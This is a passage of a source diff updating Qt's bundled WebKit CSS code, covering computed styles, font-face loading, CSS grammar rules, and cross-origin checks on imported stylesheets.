@@ -899,9 +899,9 @@ PassRefPtr<CSSValue> CSSComputedStyleDeclaration::getPropertyCSSValue(int proper
                 return CSSPrimitiveValue::createIdentifier(CSSValueNormal);
             return CSSPrimitiveValue::create(style->letterSpacing(), CSSPrimitiveValue::CSS_PX);
         case CSSPropertyWebkitLineClamp:
-            if (style->lineClamp() == -1)
+            if (style->lineClamp().isNone())
                 return CSSPrimitiveValue::createIdentifier(CSSValueNone);
-            return CSSPrimitiveValue::create(style->lineClamp(), CSSPrimitiveValue::CSS_PERCENTAGE);
+            return CSSPrimitiveValue::create(style->lineClamp().value(), style->lineClamp().isPercentage() ? CSSPrimitiveValue::CSS_PERCENTAGE : CSSPrimitiveValue::CSS_NUMBER);
         case CSSPropertyLineHeight: {
             Length length = style->lineHeight();
             if (length.isNegative())
@@ -911,8 +911,7 @@ PassRefPtr<CSSValue> CSSComputedStyleDeclaration::getPropertyCSSValue(int proper
                 // for how high to be in pixels does include things like minimum font size and the zoom factor.
                 // On the other hand, since font-size doesn't include the zoom factor, we really can't do
                 // that here either.
-                // The line height returned is rounded to the nearest integer.
-                return CSSPrimitiveValue::create(length.calcMinValue(style->fontDescription().specifiedSize(), true), CSSPrimitiveValue::CSS_PX);
+                return CSSPrimitiveValue::create(static_cast<int>(length.percent() * style->fontDescription().specifiedSize()) / 100, CSSPrimitiveValue::CSS_PX);
             return CSSPrimitiveValue::create(length.value(), CSSPrimitiveValue::CSS_PX);
         }
         case CSSPropertyListStyleImage:
@@ -1200,6 +1199,30 @@ PassRefPtr<CSSValue> CSSComputedStyleDeclaration::getPropertyCSSValue(int proper
         }
         case CSSPropertyWebkitAnimationDuration:
             return getDurationValue(style->animations());
+        case CSSPropertyWebkitAnimationFillMode: {
+            RefPtr<CSSValueList> list = CSSValueList::createCommaSeparated();
+            const AnimationList* t = style->animations();
+            if (t) {
+                for (size_t i = 0; i < t->size(); ++i) {
+                    switch (t->animation(i)->fillMode()) {
+                    case AnimationFillModeNone:
+                        list->append(CSSPrimitiveValue::createIdentifier(CSSValueNone));
+                        break;
+                    case AnimationFillModeForwards:
+                        list->append(CSSPrimitiveValue::createIdentifier(CSSValueForwards));
+                        break;
+                    case AnimationFillModeBackwards:
+                        list->append(CSSPrimitiveValue::createIdentifier(CSSValueBackwards));
+                        break;
+                    case AnimationFillModeBoth:
+                        list->append(CSSPrimitiveValue::createIdentifier(CSSValueBoth));
+                        break;
+                    }
+                }
+            } else
+                list->append(CSSPrimitiveValue::createIdentifier(CSSValueNone));
+            return list.release();
+        }
         case CSSPropertyWebkitAnimationIterationCount: {
             RefPtr<CSSValueList> list = CSSValueList::createCommaSeparated();
             const AnimationList* t = style->animations();
@@ -1348,6 +1371,8 @@ PassRefPtr<CSSValue> CSSComputedStyleDeclaration::getPropertyCSSValue(int proper
             return getTimingFunctionValue(style->transitions());
         case CSSPropertyPointerEvents:
             return CSSPrimitiveValue::create(style->pointerEvents());
+        case CSSPropertyWebkitColorCorrection:
+            return CSSPrimitiveValue::create(style->colorSpace());
 
         /* Shorthand properties, currently not supported see bug 13658*/
         case CSSPropertyBackground:
@@ -1475,7 +1500,7 @@ unsigned CSSComputedStyleDeclaration::length() const
 String CSSComputedStyleDeclaration::item(unsigned i) const
 {
     if (i >= length())
-        return String();
+        return "";
 
     return getPropertyName(static_cast<CSSPropertyID>(computedProperties[i]));
 }
diff --git a/src/3rdparty/webkit/WebCore/css/CSSCursorImageValue.cpp b/src/3rdparty/webkit/WebCore/css/CSSCursorImageValue.cpp
index c1a517c..fe10cf3 100644
--- a/src/3rdparty/webkit/WebCore/css/CSSCursorImageValue.cpp
+++ b/src/3rdparty/webkit/WebCore/css/CSSCursorImageValue.cpp
@@ -25,7 +25,6 @@
 #include "DocLoader.h"
 #include "Document.h"
 #include "PlatformString.h"
-#include "RenderStyle.h"
 #include <wtf/MathExtras.h>
 #include <wtf/UnusedParam.h>
 
diff --git a/src/3rdparty/webkit/WebCore/css/CSSFontFace.cpp b/src/3rdparty/webkit/WebCore/css/CSSFontFace.cpp
index 4d8da59..70cd9bb 100644
--- a/src/3rdparty/webkit/WebCore/css/CSSFontFace.cpp
+++ b/src/3rdparty/webkit/WebCore/css/CSSFontFace.cpp
@@ -77,8 +77,11 @@ void CSSFontFace::addSource(CSSFontFaceSource* source)
     source->setFontFace(this);
 }
 
-void CSSFontFace::fontLoaded(CSSFontFaceSource*)
+void CSSFontFace::fontLoaded(CSSFontFaceSource* source)
 {
+    if (source != m_activeSource)
+        return;
+
     // FIXME: Can we assert that m_segmentedFontFaces is not empty? That may
     // require stopping in-progress font loading when the last
     // CSSSegmentedFontFace is removed.
@@ -97,17 +100,22 @@ void CSSFontFace::fontLoaded(CSSFontFaceSource*)
 
 SimpleFontData* CSSFontFace::getFontData(const FontDescription& fontDescription, bool syntheticBold, bool syntheticItalic)
 {
+    m_activeSource = 0;
     if (!isValid())
         return 0;
-        
+
     ASSERT(!m_segmentedFontFaces.isEmpty());
     CSSFontSelector* fontSelector = (*m_segmentedFontFaces.begin())->fontSelector();
 
-    SimpleFontData* result = 0;
-    unsigned size = m_sources.size();
-    for (unsigned i = 0; i < size && !result; i++)
-        result = m_sources[i]->getFontData(fontDescription, syntheticBold, syntheticItalic, fontSelector);
-    return result;
+    size_t size = m_sources.size();
+    for (size_t i = 0; i < size; ++i) {
+        if (SimpleFontData* result = m_sources[i]->getFontData(fontDescription, syntheticBold, syntheticItalic, fontSelector)) {
+            m_activeSource = m_sources[i];
+            return result;
+        }
+    }
+
+    return 0;
 }
 
 }
diff --git a/src/3rdparty/webkit/WebCore/css/CSSFontFace.h b/src/3rdparty/webkit/WebCore/css/CSSFontFace.h
index 41c9c55..4e2fee5 100644
--- a/src/3rdparty/webkit/WebCore/css/CSSFontFace.h
+++ b/src/3rdparty/webkit/WebCore/css/CSSFontFace.h
@@ -82,6 +82,7 @@ public:
 private:
     CSSFontFace(FontTraitsMask traitsMask)
         : m_traitsMask(traitsMask)
+        , m_activeSource(0)
     {
     }
 
@@ -89,6 +90,7 @@ private:
     Vector<UnicodeRange> m_ranges;
     HashSet<CSSSegmentedFontFace*> m_segmentedFontFaces;
     Vector<CSSFontFaceSource*> m_sources;
+    CSSFontFaceSource* m_activeSource;
 };
 
 }
diff --git a/src/3rdparty/webkit/WebCore/css/CSSFontFaceRule.idl b/src/3rdparty/webkit/WebCore/css/CSSFontFaceRule.idl
index 514c7dd..bd38a61 100644
--- a/src/3rdparty/webkit/WebCore/css/CSSFontFaceRule.idl
+++ b/src/3rdparty/webkit/WebCore/css/CSSFontFaceRule.idl
@@ -21,11 +21,7 @@
 module css {
 
     // Introduced in DOM Level 2:
-    interface [
-        GenerateConstructor,
-        InterfaceUUID=8afa4b1a-39fe-49fb-be6d-4d56e81d9b4a,
-        ImplementationUUID=5a7971d9-5aad-4ed7-be67-3a1644560256
-    ] CSSFontFaceRule : CSSRule {
+    interface CSSFontFaceRule : CSSRule {
         readonly attribute CSSStyleDeclaration style;
     };
 
diff --git a/src/3rdparty/webkit/WebCore/css/CSSFontFaceSource.cpp b/src/3rdparty/webkit/WebCore/css/CSSFontFaceSource.cpp
index 111cea2..1354e68 100644
--- a/src/3rdparty/webkit/WebCore/css/CSSFontFaceSource.cpp
+++ b/src/3rdparty/webkit/WebCore/css/CSSFontFaceSource.cpp
@@ -107,8 +107,7 @@ SimpleFontData* CSSFontFaceSource::getFontData(const FontDescription& fontDescri
 #else
     if (!m_font) {
 #endif
-        FontPlatformData* data = fontCache()->getCachedFontPlatformData(fontDescription, m_string);
-        SimpleFontData* fontData = fontCache()->getCachedFontData(data);
+        SimpleFontData* fontData = fontCache()->getCachedFontData(fontDescription, m_string);
 
         // We're local. Just return a SimpleFontData from the normal cache.
         return fontData;
@@ -179,10 +178,11 @@ SimpleFontData* CSSFontFaceSource::getFontData(const FontDescription& fontDescri
         if (DocLoader* docLoader = fontSelector->docLoader())
             m_font->beginLoadIfNeeded(docLoader);
         // FIXME: m_string is a URL so it makes no sense to pass it as a family name.
-        FontPlatformData* tempData = fontCache()->getCachedFontPlatformData(fontDescription, m_string);
+        SimpleFontData* tempData = fontCache()->getCachedFontData(fontDescription, m_string);
         if (!tempData)
             tempData = fontCache()->getLastResortFallbackFont(fontDescription);
-        fontData.set(new SimpleFontData(*tempData, true, true));
+
+        fontData.set(new SimpleFontData(tempData->platformData(), true, true));
     }
 
     m_fontDataTable.set(hashKey, fontData.get());
diff --git a/src/3rdparty/webkit/WebCore/css/CSSFontSelector.cpp b/src/3rdparty/webkit/WebCore/css/CSSFontSelector.cpp
index 35bc876..56ee261 100644
--- a/src/3rdparty/webkit/WebCore/css/CSSFontSelector.cpp
+++ b/src/3rdparty/webkit/WebCore/css/CSSFontSelector.cpp
@@ -45,7 +45,6 @@
 #include "FontCache.h"
 #include "FontFamilyValue.h"
 #include "Frame.h"
-#include "NodeList.h"
 #include "RenderObject.h"
 #include "Settings.h"
 #include "SimpleFontData.h"
@@ -395,7 +394,7 @@ static FontData* fontDataForGenericFamily(Document* document, const FontDescript
         genericFamily = settings->standardFontFamily();
 
     if (!genericFamily.isEmpty())
-        return fontCache()->getCachedFontData(fontCache()->getCachedFontPlatformData(fontDescription, genericFamily));
+        return fontCache()->getCachedFontData(fontDescription, genericFamily);
 
     return 0;
 }
diff --git a/src/3rdparty/webkit/WebCore/css/CSSGradientValue.cpp b/src/3rdparty/webkit/WebCore/css/CSSGradientValue.cpp
index 3f45e47..5946d7a 100644
--- a/src/3rdparty/webkit/WebCore/css/CSSGradientValue.cpp
+++ b/src/3rdparty/webkit/WebCore/css/CSSGradientValue.cpp
@@ -29,9 +29,7 @@
 #include "CSSStyleSelector.h"
 #include "GeneratedImage.h"
 #include "Gradient.h"
-#include "GraphicsContext.h"
 #include "Image.h"
-#include "ImageBuffer.h"
 #include "IntSize.h"
 #include "IntSizeHash.h"
 #include "PlatformString.h"
diff --git a/src/3rdparty/webkit/WebCore/css/CSSGrammar.y b/src/3rdparty/webkit/WebCore/css/CSSGrammar.y
index 0530e91..7183efa 100644
--- a/src/3rdparty/webkit/WebCore/css/CSSGrammar.y
+++ b/src/3rdparty/webkit/WebCore/css/CSSGrammar.y
@@ -97,7 +97,7 @@ static int cssyylex(YYSTYPE* yylval, void* parser)
 
 %}
 
-%expect 51
+%expect 54
 
 %nonassoc LOWEST_PREC
 
@@ -184,18 +184,15 @@ static int cssyylex(YYSTYPE* yylval, void* parser)
 
 %type <rule> charset
 %type <rule> ruleset
-%type <rule> valid_rule_or_import
 %type <rule> media
 %type <rule> import
+%type <rule> namespace
 %type <rule> page
 %type <rule> font_face
 %type <rule> keyframes
 %type <rule> invalid_rule
 %type <rule> save_block
 %type <rule> invalid_at
-%type <rule> invalid_at_list
-%type <rule> invalid_import
-%type <rule> invalid_media
 %type <rule> rule
 %type <rule> valid_rule
 %type <ruleList> block_rule_list 
@@ -249,6 +246,7 @@ static int cssyylex(YYSTYPE* yylval, void* parser)
 
 %type <integer> match
 %type <integer> unary_operator
+%type <integer> maybe_unary_operator
 %type <character> operator
 
 %type <valueList> expr
@@ -268,7 +266,7 @@ static int cssyylex(YYSTYPE* yylval, void* parser)
 %%
 
 stylesheet:
-    maybe_space maybe_charset maybe_sgml import_list variables_list namespace_list rule_list
+    maybe_space maybe_charset maybe_sgml rule_list
   | webkit_rule maybe_space
   | webkit_decls maybe_space
   | webkit_value maybe_space
@@ -278,13 +276,8 @@ stylesheet:
   | webkit_keyframe_rule maybe_space
   ;
 
-valid_rule_or_import:
-    valid_rule
-  | import
-  ;
-
 webkit_rule:
-    WEBKIT_RULE_SYM '{' maybe_space valid_rule_or_import maybe_space '}' {
+    WEBKIT_RULE_SYM '{' maybe_space valid_rule maybe_space '}' {
         static_cast<CSSParser*>(parser)->m_rule = $4;
     }
 ;
@@ -373,31 +366,6 @@ charset:
   }
 ;
 
-import_list:
- /* empty */
- | import_list import maybe_sgml {
-     CSSParser* p = static_cast<CSSParser*>(parser);
-     if ($2 && p->m_styleSheet)
-         p->m_styleSheet->append($2);
- }
- | invalid_at_list {
- }
- ;
-
-variables_list:
-/* empty */
-| variables_list variables_rule maybe_sgml {
-    CSSParser* p = static_cast<CSSParser*>(parser);
-     if ($2 && p->m_styleSheet)
-         p->m_styleSheet->append($2);
-}
-;
-
-namespace_list:
-/* empty */
-| namespace_list namespace maybe_sgml
-;
-
 rule_list:
    /* empty */
  | rule_list rule maybe_sgml {
@@ -413,13 +381,17 @@ valid_rule:
   | page
   | font_face
   | keyframes
+  | namespace
+  | import
+  | variables_rule
   ;
 
 rule:
-    valid_rule
+    valid_rule {
+        static_cast<CSSParser*>(parser)->m_hadSyntacticallyValidCSSRule = true;
+    }
   | invalid_rule
   | invalid_at
-  | invalid_import
   ;
 
 block_rule_list: 
@@ -445,8 +417,10 @@ block_rule:
     block_valid_rule
   | invalid_rule
   | invalid_at
-  | invalid_import
-  | invalid_media
+  | namespace
+  | import
+  | variables_rule
+  | media
   ;
 
 
@@ -570,17 +544,23 @@ variable_name:
 
 namespace:
 NAMESPACE_SYM maybe_space maybe_ns_prefix string_or_uri maybe_space ';' {
-    CSSParser* p = static_cast<CSSParser*>(parser);
-    if (p->m_styleSheet)
-        p->m_styleSheet->addNamespace(p, $3, $4);
+    static_cast<CSSParser*>(parser)->addNamespace($3, $4);
+    $$ = 0;
+}
+| NAMESPACE_SYM maybe_space maybe_ns_prefix string_or_uri maybe_space invalid_block {
+    $$ = 0;
+}
+| NAMESPACE_SYM error invalid_block {
+    $$ = 0;
+}
+| NAMESPACE_SYM error ';' {
+    $$ = 0;
 }
-| NAMESPACE_SYM error invalid_block
-| NAMESPACE_SYM error ';'
 ;
 
 maybe_ns_prefix:
 /* empty */ { $$.characters = 0; }
-| IDENT WHITESPACE { $$ = $1; }
+| IDENT maybe_space { $$ = $1; }
 ;
 
 string_or_uri:
@@ -788,6 +768,11 @@ combinator:
   | '>' maybe_space { $$ = CSSSelector::Child; }
   ;
 
+maybe_unary_operator:
+    unary_operator { $$ = $1; }
+    | { $$ = 1; }
+    ;
+
 unary_operator:
     '-' { $$ = -1; }
   | '+' { $$ = 1; }
@@ -807,6 +792,7 @@ selector_list:
             deleteAllValues(*$$);
             $$->shrink(0);
             $$->append(p->sinkFloatingSelector($1));
+            p->updateLastSelectorLine();
         }
     }
     | selector_list ',' maybe_space selector %prec UNIMPORTANT_TOK {
@@ -814,6 +800,7 @@ selector_list:
             CSSParser* p = static_cast<CSSParser*>(parser);
             $$ = $1;
             $$->append(p->sinkFloatingSelector($4));
+            p->updateLastSelectorLine();
         } else
             $$ = 0;
     }
@@ -1130,11 +1117,11 @@ pseudo:
         }
     }
     // used by :nth-*(ax+b)
-    | ':' FUNCTION NTH ')' {
+    | ':' FUNCTION maybe_space NTH maybe_space ')' {
         CSSParser *p = static_cast<CSSParser*>(parser);
         $$ = p->createFloatingSelector();
         $$->m_match = CSSSelector::PseudoClass;
-        $$->setArgument($3);
+        $$->setArgument($4);
         $$->m_value = $2;
         CSSSelector::PseudoType type = $$->pseudoType();
         if (type == CSSSelector::PseudoUnknown)
@@ -1148,11 +1135,11 @@ pseudo:
         }
     }
     // used by :nth-*
-    | ':' FUNCTION INTEGER ')' {
+    | ':' FUNCTION maybe_space maybe_unary_operator INTEGER maybe_space ')' {
         CSSParser *p = static_cast<CSSParser*>(parser);
         $$ = p->createFloatingSelector();
         $$->m_match = CSSSelector::PseudoClass;
-        $$->setArgument(String::number($3));
+        $$->setArgument(String::number($4 * $5));
         $$->m_value = $2;
         CSSSelector::PseudoType type = $$->pseudoType();
         if (type == CSSSelector::PseudoUnknown)
@@ -1166,11 +1153,11 @@ pseudo:
         }
     }
     // used by :nth-*(odd/even) and :lang
-    | ':' FUNCTION IDENT ')' {
+    | ':' FUNCTION maybe_space IDENT maybe_space ')' {
         CSSParser *p = static_cast<CSSParser*>(parser);
         $$ = p->createFloatingSelector();
         $$->m_match = CSSSelector::PseudoClass;
-        $$->setArgument($3);
+        $$->setArgument($4);
         $2.lower();
         $$->m_value = $2;
         CSSSelector::PseudoType type = $$->pseudoType();
@@ -1186,7 +1173,7 @@ pseudo:
     }
     // used by :not
     | ':' NOTFUNCTION maybe_space simple_selector maybe_space ')' {
-        if (!$4 || $4->simpleSelector() || $4->tagHistory())
+        if (!$4 || $4->simpleSelector() || $4->tagHistory() || $4->matchesPseudoElement())
             $$ = 0;
         else {
             CSSParser* p = static_cast<CSSParser*>(parser);
@@ -1229,6 +1216,9 @@ decl_list:
     declaration ';' maybe_space {
         $$ = $1;
     }
+    | declaration invalid_block_list maybe_space {
+        $$ = false;
+    }
     | declaration invalid_block_list ';' maybe_space {
         $$ = false;
     }
@@ -1346,6 +1336,12 @@ expr:
             $$->addValue(p->sinkFloatingValue($3));
         }
     }
+    | expr invalid_block_list {
+        $$ = 0;
+    }
+    | expr invalid_block_list error {
+        $$ = 0;
+    }
     | expr error {
         $$ = 0;
     }
@@ -1481,23 +1477,6 @@ invalid_at:
     }
     ;
 
-invalid_at_list:
-    invalid_at maybe_sgml
-  | invalid_at_list invalid_at maybe_sgml
-  ;
-
-invalid_import:
-    import {
-        $$ = 0;
-    }
-    ;
-
-invalid_media:
-    media {
-        $$ = 0;
-    }
-    ;
-
 invalid_rule:
     error invalid_block {
         $$ = 0;
@@ -1517,8 +1496,12 @@ invalid_rule:
     ;
 
 invalid_block:
-    '{' error invalid_block_list error closing_brace
-  | '{' error closing_brace
+    '{' error invalid_block_list error closing_brace {
+        static_cast<CSSParser*>(parser)->invalidBlockHit();
+    }
+  | '{' error closing_brace {
+        static_cast<CSSParser*>(parser)->invalidBlockHit();
+    }
     ;
 
 invalid_block_list:
diff --git a/src/3rdparty/webkit/WebCore/css/CSSImageValue.cpp b/src/3rdparty/webkit/WebCore/css/CSSImageValue.cpp
index 3432a4e..96a8dec 100644
--- a/src/3rdparty/webkit/WebCore/css/CSSImageValue.cpp
+++ b/src/3rdparty/webkit/WebCore/css/CSSImageValue.cpp
@@ -25,7 +25,6 @@
 #include "Cache.h"
 #include "CachedImage.h"
 #include "DocLoader.h"
-#include "RenderStyle.h"
 #include "StyleCachedImage.h"
 
 namespace WebCore {
diff --git a/src/3rdparty/webkit/WebCore/css/CSSImportRule.cpp b/src/3rdparty/webkit/WebCore/css/CSSImportRule.cpp
index 6e62f6d..1e79a39 100644
--- a/src/3rdparty/webkit/WebCore/css/CSSImportRule.cpp
+++ b/src/3rdparty/webkit/WebCore/css/CSSImportRule.cpp
@@ -25,7 +25,7 @@
 #include "CachedCSSStyleSheet.h"
 #include "DocLoader.h"
 #include "Document.h"
-#include "MediaList.h"
+#include "SecurityOrigin.h"
 #include "Settings.h"
 #include <wtf/StdLibExtras.h>
 
@@ -54,22 +54,44 @@ CSSImportRule::~CSSImportRule()
         m_cachedSheet->removeClient(this);
 }
 
-void CSSImportRule::setCSSStyleSheet(const String& url, const String& charset, const CachedCSSStyleSheet* sheet)
+void CSSImportRule::setCSSStyleSheet(const String& href, const KURL& baseURL, const String& charset, const CachedCSSStyleSheet* sheet)
 {
     if (m_styleSheet)
         m_styleSheet->setParent(0);
-    m_styleSheet = CSSStyleSheet::create(this, url, charset);
+    m_styleSheet = CSSStyleSheet::create(this, href, baseURL, charset);
 
+    bool crossOriginCSS = false;
+    bool validMIMEType = false;
     CSSStyleSheet* parent = parentStyleSheet();
     bool strict = !parent || parent->useStrictParsing();
-    String sheetText = sheet->sheetText(strict);
+    bool enforceMIMEType = strict;
+    bool needsSiteSpecificQuirks = parent && parent->doc() && parent->doc()->settings() && parent->doc()->settings()->needsSiteSpecificQuirks();
+
+#if defined(BUILDING_ON_TIGER) || defined(BUILDING_ON_LEOPARD)
+    if (enforceMIMEType && needsSiteSpecificQuirks) {
+        // Covers both http and https, with or without "www."
+        if (baseURL.string().contains("mcafee.com/japan/", false))
+            enforceMIMEType = false;
+    }
+#endif
+
+    String sheetText = sheet->sheetText(enforceMIMEType, &validMIMEType);
     m_styleSheet->parseString(sheetText, strict);
 
-    if (strict && parent && parent->doc() && parent->doc()->settings() && parent->doc()->settings()->needsSiteSpecificQuirks()) {
+    if (!parent || !parent->doc() || !parent->doc()->securityOrigin()->canRequest(baseURL))
+        crossOriginCSS = true;
+
+    if (crossOriginCSS && !validMIMEType && !m_styleSheet->hasSyntacticallyValidCSSHeader())
+        m_styleSheet = CSSStyleSheet::create(this, href, baseURL, charset);
+
+    if (strict && needsSiteSpecificQuirks) {
         // Work around <https://bugs.webkit.org/show_bug.cgi?id=28350>.
         DEFINE_STATIC_LOCAL(const String, slashKHTMLFixesDotCss, ("/KHTMLFixes.css"));
         DEFINE_STATIC_LOCAL(const String, mediaWikiKHTMLFixesStyleSheet, ("/* KHTML fix stylesheet */\n/* work around the horizontal scrollbars */\n#column-content { margin-left: 0; }\n\n"));
-        if (url.endsWith(slashKHTMLFixesDotCss) && sheetText == mediaWikiKHTMLFixesStyleSheet) {
+        // There are two variants of KHTMLFixes.css. One is equal to mediaWikiKHTMLFixesStyleSheet,
+        // while the other lacks the second trailing newline.
+        if (baseURL.string().endsWith(slashKHTMLFixesDotCss) && !sheetText.isNull() && mediaWikiKHTMLFixesStyleSheet.startsWith(sheetText)
+                && sheetText.length() >= mediaWikiKHTMLFixesStyleSheet.length() - 1) {
             ASSERT(m_styleSheet->length() == 1);
             ExceptionCode ec;
             m_styleSheet->deleteRule(0, ec);
@@ -98,15 +120,16 @@ void CSSImportRule::insertedIntoParent()
         return;
 
     String absHref = m_strHref;
-    if (!parentSheet->href().isNull())
+    if (!parentSheet->finalURL().isNull())
         // use parent styleheet's URL as the base URL
-        absHref = KURL(KURL(ParsedURLString, parentSheet->href()), m_strHref).string();
+        absHref = KURL(parentSheet->finalURL(), m_strHref).string();
 
     // Check for a cycle in our import chain.  If we encounter a stylesheet
     // in our parent chain with the same URL, then just bail.
     StyleBase* root = this;
     for (StyleBase* curr = parent(); curr; curr = curr->parent()) {
-        if (curr->isCSSStyleSheet() && absHref == static_cast<CSSStyleSheet*>(curr)->href())
+        // FIXME: This is wrong if the finalURL was updated via document::updateBaseURL. 
+        if (curr->isCSSStyleSheet() && absHref == static_cast<CSSStyleSheet*>(curr)->finalURL().string())
             return;
         root = curr;
     }
diff --git a/src/3rdparty/webkit/WebCore/css/CSSImportRule.h b/src/3rdparty/webkit/WebCore/css/CSSImportRule.h
index f546006..10d3026 100644
--- a/src/3rdparty/webkit/WebCore/css/CSSImportRule.h
+++ b/src/3rdparty/webkit/WebCore/css/CSSImportRule.h
@@ -63,7 +63,7 @@ private:
     virtual unsigned short type() const { return IMPORT_RULE; }
 
     // from CachedResourceClient
-    virtual void setCSSStyleSheet(const String& url, const String& charset, const CachedCSSStyleSheet*);
+    virtual void setCSSStyleSheet(const String& href, const KURL& baseURL, const String& charset, const CachedCSSStyleSheet*);
 
     String m_strHref;
     RefPtr<MediaList> m_lstMedia;
diff --git a/src/3rdparty/webkit/WebCore/css/CSSImportRule.idl b/src/3rdparty/webkit/WebCore/css/CSSImportRule.idl
index 454553e..8e60905 100644
--- a/src/3rdparty/webkit/WebCore/css/CSSImportRule.idl
+++ b/src/3rdparty/webkit/WebCore/css/CSSImportRule.idl
@@ -21,11 +21,7 @@
 module css {
 
     // Introduced in DOM Level 2:
-    interface [
-        GenerateConstructor,
-        InterfaceUUID=8f60b3a2-ebf0-484d-a714-47a9974a6a9e,
-        ImplementationUUID=437ea93c-68e5-4897-85fe-e161653801eb
-    ] CSSImportRule : CSSRule {
+    interface CSSImportRule : CSSRule {
         readonly attribute [ConvertNullStringTo=Null] DOMString href;
         readonly attribute stylesheets::MediaList media;
         readonly attribute CSSStyleSheet styleSheet;
diff --git a/src/3rdparty/webkit/WebCore/css/CSSInheritedValue.cpp b/src/3rdparty/webkit/WebCore/css/CSSInheritedValue.cpp
index 08d3db3..20b73e2 100644
--- a/src/3rdparty/webkit/WebCore/css/CSSInheritedValue.cpp
+++ b/src/3rdparty/webkit/WebCore/css/CSSInheritedValue.cpp
@@ -1,6 +1,4 @@
 /**
- * This file is part of the DOM implementation for KDE.
- *
  * (C) 1999-2003 Lars Knoll (knoll@kde.org)
  * Copyright (C) 2004, 2005, 2006 Apple Computer, Inc.
  *
diff --git a/src/3rdparty/webkit/WebCore/css/CSSInitialValue.cpp b/src/3rdparty/webkit/WebCore/css/CSSInitialValue.cpp
index 9c2bb23..cbe776b 100644
--- a/src/3rdparty/webkit/WebCore/css/CSSInitialValue.cpp
+++ b/src/3rdparty/webkit/WebCore/css/CSSInitialValue.cpp
@@ -1,6 +1,4 @@
 /**
- * This file is part of the DOM implementation for KDE.
- *
  * (C) 1999-2003 Lars Knoll (knoll@kde.org)
  * Copyright (C) 2004, 2005, 2006 Apple Computer, Inc.
  *
diff --git a/src/3rdparty/webkit/WebCore/css/CSSMediaRule.cpp b/src/3rdparty/webkit/WebCore/css/CSSMediaRule.cpp
index 610e988..d1c220b 100644
--- a/src/3rdparty/webkit/WebCore/css/CSSMediaRule.cpp
+++ b/src/3rdparty/webkit/WebCore/css/CSSMediaRule.cpp
@@ -1,6 +1,4 @@
 /**
- * This file is part of the DOM implementation for KDE.
- *
  * (C) 1999-2003 Lars Knoll (knoll@kde.org)
  * (C) 2002-2003 Dirk Mueller (mueller@kde.org)
  * Copyright (C) 2002, 2005, 2006 Apple Computer, Inc.
diff --git a/src/3rdparty/webkit/WebCore/css/CSSMediaRule.idl b/src/3rdparty/webkit/WebCore/css/CSSMediaRule.idl
index 1347171..813bd70 100644
--- a/src/3rdparty/webkit/WebCore/css/CSSMediaRule.idl
+++ b/src/3rdparty/webkit/WebCore/css/CSSMediaRule.idl
@@ -21,11 +21,7 @@
 module css {
 
     // Introduced in DOM Level 2:
-    interface [
-        GenerateConstructor,
-        InterfaceUUID=9c623c09-2677-4d28-ba90-826da0ae316a,
-        ImplementationUUID=30493ec9-e139-4e9e-ae24-cc8f532006d9
-    ] CSSMediaRule : CSSRule {
+    interface CSSMediaRule : CSSRule {
         readonly attribute stylesheets::MediaList media;
         readonly attribute CSSRuleList cssRules;
         
diff --git a/src/3rdparty/webkit/WebCore/css/CSSMutableStyleDeclaration.cpp b/src/3rdparty/webkit/WebCore/css/CSSMutableStyleDeclaration.cpp
index 2dd2f5d..31c7507 100644
--- a/src/3rdparty/webkit/WebCore/css/CSSMutableStyleDeclaration.cpp
+++ b/src/3rdparty/webkit/WebCore/css/CSSMutableStyleDeclaration.cpp
@@ -23,7 +23,6 @@
 
 #include "CSSImageValue.h"
 #include "CSSParser.h"
-#include "CSSProperty.h"
 #include "CSSPropertyLonghand.h"
 #include "CSSPropertyNames.h"
 #include "CSSRule.h"
@@ -259,20 +258,28 @@ String CSSMutableStyleDeclaration::getPropertyValue(int propertyID) const
 
 String CSSMutableStyleDeclaration::get4Values(const int* properties) const
 {
-    String res;
-    for (int i = 0; i < 4; ++i) {
-        if (!isPropertyImplicit(properties[i])) {
-            RefPtr<CSSValue> value = getPropertyCSSValue(properties[i]);
+    // Assume the properties are in the usual order top, right, bottom, left.
+    RefPtr<CSSValue> topValue = getPropertyCSSValue(properties[0]);
+    RefPtr<CSSValue> rightValue = getPropertyCSSValue(properties[1]);
+    RefPtr<CSSValue> bottomValue = getPropertyCSSValue(properties[2]);
+    RefPtr<CSSValue> leftValue = getPropertyCSSValue(properties[3]);
 
-            // apparently all 4 properties must be specified.
-            if (!value)
-                return String();
+    // All 4 properties must be specified.
+    if (!topValue || !rightValue || !bottomValue || !leftValue)
+        return String();
+
+    bool showLeft = rightValue->cssText() != leftValue->cssText();
+    bool showBottom = (topValue->cssText() != bottomValue->cssText()) || showLeft;
+    bool showRight = (topValue->cssText() != rightValue->cssText()) || showBottom;
+
+    String res = topValue->cssText();
+    if (showRight)
+        res += " " + rightValue->cssText();
+    if (showBottom)
+        res += " " + bottomValue->cssText();
+    if (showLeft)
+        res += " " + leftValue->cssText();
 
-            if (!res.isNull())
-                res += " ";
-            res += value->cssText();
-        }
-    }
     return res;
 }
 
@@ -306,7 +313,7 @@ String CSSMutableStyleDeclaration::getLayeredShorthandValue(const int* propertie
             RefPtr<CSSValue> value;
             if (values[j]) {
                 if (values[j]->isValueList())
-                    value = static_cast<CSSValueList*>(values[j].get())->itemWithoutBoundsCheck(i);
+                    value = static_cast<CSSValueList*>(values[j].get())->item(i);
                 else {
                     value = values[j];
                     
@@ -628,7 +635,7 @@ unsigned CSSMutableStyleDeclaration::length() const
 String CSSMutableStyleDeclaration::item(unsigned i) const
 {
     if (i >= m_properties.size())
-       return String();
+       return "";
     return getPropertyName(static_cast<CSSPropertyID>(m_properties[i].id()));
 }
 
diff --git a/src/3rdparty/webkit/WebCore/css/CSSNamespace.h b/src/3rdparty/webkit/WebCore/css/CSSNamespace.h
index 9194be8..0a1119d 100644
--- a/src/3rdparty/webkit/WebCore/css/CSSNamespace.h
+++ b/src/3rdparty/webkit/WebCore/css/CSSNamespace.h
@@ -1,6 +1,4 @@
 /*
- * This file is part of the CSS implementation for KDE.
- *
  * Copyright (C) 1999-2003 Lars Knoll (knoll@kde.org)
  *               1999 Waldo Bastian (bastian@kde.org)
  * Copyright (C) 2004, 2006 Apple Computer, Inc.
@@ -28,7 +26,7 @@
 
 namespace WebCore {
 
-    struct CSSNamespace {
+    struct CSSNamespace : Noncopyable {
         AtomicString m_prefix;
         AtomicString m_uri;
         CSSNamespace* m_parent;
diff --git a/src/3rdparty/webkit/WebCore/css/CSSPageRule.idl b/src/3rdparty/webkit/WebCore/css/CSSPageRule.idl
index 3ad570e..6b50b6d 100644
--- a/src/3rdparty/webkit/WebCore/css/CSSPageRule.idl
+++ b/src/3rdparty/webkit/WebCore/css/CSSPageRule.idl
